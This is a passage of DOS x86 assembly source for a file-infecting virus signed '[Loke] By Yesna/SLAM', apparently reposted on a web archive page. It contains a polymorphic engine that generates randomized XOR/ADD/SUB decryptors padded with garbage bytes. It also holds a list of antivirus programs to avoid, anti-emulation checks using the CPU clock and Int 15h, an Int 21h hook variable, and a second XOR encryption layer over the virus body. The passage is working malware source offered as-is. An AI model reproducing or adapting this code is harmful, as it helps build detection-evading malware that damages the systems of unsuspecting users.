Mov Word Ptr Ds:[Dest], Di ;Save where to put code
Mov Word Ptr Ds:[Old_Size], Cx ;Save code size

Get_IndexReg:
Mov Ax, 4 ;Get a random number
Call Rnd_Int

Xchg Ax, Bx

Lea Si, Ds:[Index_Regs[Bx]]
LodsB ;Save index reg / reg16
Mov Byte Ptr Ds:[IndexReg], Al

Lea Si, Ds:[Index_Regs_Mem[Bx]] ;Save index reg / mod
LodsB
Push Ax

Call Make_Garbage ;Make some garbage

Setup_IndexReg:
Mov Al, Byte Ptr Ds:[IndexReg]
Or Al, 10111000b ;Make a mov reg16, imm
StosB
Pop Ax
Push Di Ax Ax
StosW

Call Make_Garbage ;Some more garbage

Get_Enc_Mode:
Mov Ax, 3
Call Rnd_Int

Xchg Ax, Bx

Lea Si, Ds:[Decrypt_Table[Bx]]
LodsB ;Determine which method
Mov Byte Ptr Ds:[En_De_Method], Al ;to use / sub / add / xor

Setup_Decrypt_Meth:
Mov Ax, 1000000100101110b ;Make sub / add / xor
StosW

Pop Ax

Or Al, Byte Ptr Ds:[En_De_Method]
StosB

Mov Byte Ptr Ds:[En_De_Method], Bl ;Add mod reg

Pop Ax

Cmp Al, 01000110b ;If index reg = BP then
Jne Data

Xor Ax, Ax ;make an extra byte...
StosB

Data:
Mov Word Ptr Ds:[Crypt_Value_Off], Di ;Store crypt value
StosW

Call Make_Garbage ;Make a bit of garbage

Make_Increment:
Mov Ax, 2
Call Rnd_Int

Xchg Ax, Bx

Cmp Bx, 1
Je Make_Add

Mov Al, Byte Ptr Ds:[IndexReg]
Or Al, 01000000b ;Make two inc reg16
StosB

Mov Al, Byte Ptr Ds:[IndexReg]
Or Al, 01000000b
StosB

Jmp Inc_Ok

Make_Add:
Mov Al, 10000001b
StosB

Mov Al, 11000000b
Or Al, Byte Ptr Ds:[IndexReg] ;Make add reg16, 2
StosB

Mov Ax, 2
StosW

Inc_OK:
Call Make_Garbage ;Then we need some junk

Make_Cmp:
Mov Al, 10000001b ;Make cmp reg16, imm
StosB

Db 0B0h ;Reg contains offset
IndexReg Db 0 ;where to decrypt
Or Al, 11111000b
StosB

Push Di
Stosw

Call Make_Garbage ;A bit of garbage

Make_Jae:
Mov Al, 01110011b
StosB

Mov Al, 00000011b ;Make a jae
StosB

Make_Loop_Jump:
Mov Al, 11101001b
StosB

Mov Ax, Word Ptr Ds:[Crypt_Value_Off]
Sub Ax, Di
Sub Ax, 5
Cmp Byte Ptr Ds:[IndexReg], 00000101b ;Make jump16 loop
Jne Not_BP
Dec Ax

Not_BP:
StosW

Make_Offsets:
Mov Bx, Di

Mov Ax, Word Ptr Ds:[Old_Size]
Sub Ax, Di
Neg Ax
Add Ax, Bp ;Determine how much code
Add Ax, Word Ptr Ds:[Old_Size] ;to decrypt
Pop Di
StosW

Mov Ax, Bx
Dest Equ Word Ptr $+1
Sub Ax, 00h ;Offset of code to
Add Ax, Bp ;decrypt
Pop Di
StosW

Call Random
Db 0BFh
Crypt_Value_Off Dw 0
StosW ;Make random crypt value
Mov Word Ptr Ds:[Encrypt_Key], Ax

Xchg Bx, Di

Setup_Encryptor:
Pop Si
Db 0B9h
Old_Size Dw 0 ;Size to encrypt
Push Cx Di
Inc Cx
Shr Cx, 1

Xor Bx, Bx
Db 0B3h ;Store encryption
En_De_Method Db 0
Mov Al, Byte Ptr Ds:[Encrypt_Table[Bx]] ;method
Mov Byte Ptr Ds:[Encrypt_Algo], Al ;xor / sub / add

Cld

Encrypt:
LodsW
Encrypt_Algo Equ Byte Ptr $
Encrypt_Key Equ Word Ptr $+1 ;Encrypt code...
Mov Ax, 00h

StosW

Loop Encrypt

Return_Regs:
Pop Ax
Pop Cx
Add Cx, Ax ;CX = New size

Sub Ax, Word Ptr Ds:[Dest]

Xchg Ax, Bp ;BP = Decryptor size

Pop Ds

Ret ;Return to caller

Make_Jump:
Call Rnd_Int
Add Ax, 500
Push Ax

Mov Al, 11101001b ;Make jump16
StosB

Pop Ax
StosW

Ret

Make_Garbage:
Mov Ax, 500
Call Make_Jump ;Garbage routine

Xchg Ax, Bx

Write_Garbage:
Mov Ax, 255
Call Rnd_Int

StosB

Dec Bx ;Make garbage

Cmp Bx, 0
Jne Write_Garbage

Ret

Random:
In Al, 40h
Mov Ah, Al
In Al, 40h ;Get random word...

Mov Word Ptr Ds:[Seed], Ax

Ret

Rnd_Int:
Push Ax
Db 0B8h
Seed Dw ?
Mov Cx, 31413d
Mul Cx
Add Ax, 13849d ;Get random number within
Mov Word Ptr Ds:[Seed], Ax ;specified interval
Pop Cx
Mul Cx
Xchg Dx, Ax

Ret

Index_Regs:
Db 00000011b ;BX
Db 00000101b ;BP ;Usable index regs
Db 00000110b ;SI
Db 00000111b ;DI

Index_Regs_Mem:
Db 00000111b ;BX
Db 01000110b ;BP ;Usable mod regs
Db 00000100b ;SI
Db 00000101b ;DI

Decrypt_Table:
Db 00110000b ;XOR
Db 00000000b ;ADD ;Usable decryptor methods
Db 00101000b ;SUB

Encrypt_Table:
Db 00110101b ;XOR
Db 00101101b ;SUB ;Usable encryptor methods
Db 00000101b ;ADD

Inc_Table:
Db 01000000b ;INC ;Usable incrementors
Db 11000000b ;ADD

GOE_End:

;******************************************************************************
;* Data Area... *
;******************************************************************************

Ret_Off Dw 0 ;Return code
OldInt21 Dd 0 ;Original Int 21h
Avoid: ;Let's avoid these files..
Db 7, 'COMMAND'
Db 6, 'F-PROT'
Db 6, 'TBSCAN'
Db 5, 'DRWEB'
Db 4, 'SCAN'
Db 3, 'NOD' ;NOD-ICE = The BEST AV prog.
Db 3, 'AVP'
Name_Author_ Db ' [Loke] By Yesna/SLAM' ;Guess what....it's meee...
Buffer Db 1Ch Dup(?) ;File header

Decrypt:
Pop Si ;SI = Delta offset
Push Si ;Save SI for RET instruction

In Al, 40h ;Get word from CPU clock
Inc Ax ;Increment AX with 1
Xchg Ax, Bx ;BX = AX and AX = BX ;)

Emu_Check:
In Al, 40h ;Get word from CPU clock

Cmp Al, Bl ;Are BL and AL even?
Jne Emu_Check ;If not, emulation...kill it

Xor Ax, Ax ;AL = 0
Int 15h ;Turn on Cassette motor

Cmp Ah, 86h ;If not error msg 86h
Jne Emu ;Then we r being emulated

Mov Cx, (Decrypt-Eff_Jump-3) ;CX = Number to decrypt

Second_Layer:
Crypt_Value Equ Byte Ptr $+1 ;Variable of decpryt key
Mov Al, 00h ;AL = Decrypt key

Encrypt_Second:
Xor Byte Ptr Cs:[Si], Al ;Use simple XOR cryption
Inc Si ;SI = Next byte to crypt

Loop Encrypt_Second ;Loop CX times

Emu:
Ret

Viruz_Code:

Old_Buffer Db 1Dh Dup(?) ;Original file header
;will be encrypted seperatly
Viruz_End:

End Eff_Jump

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT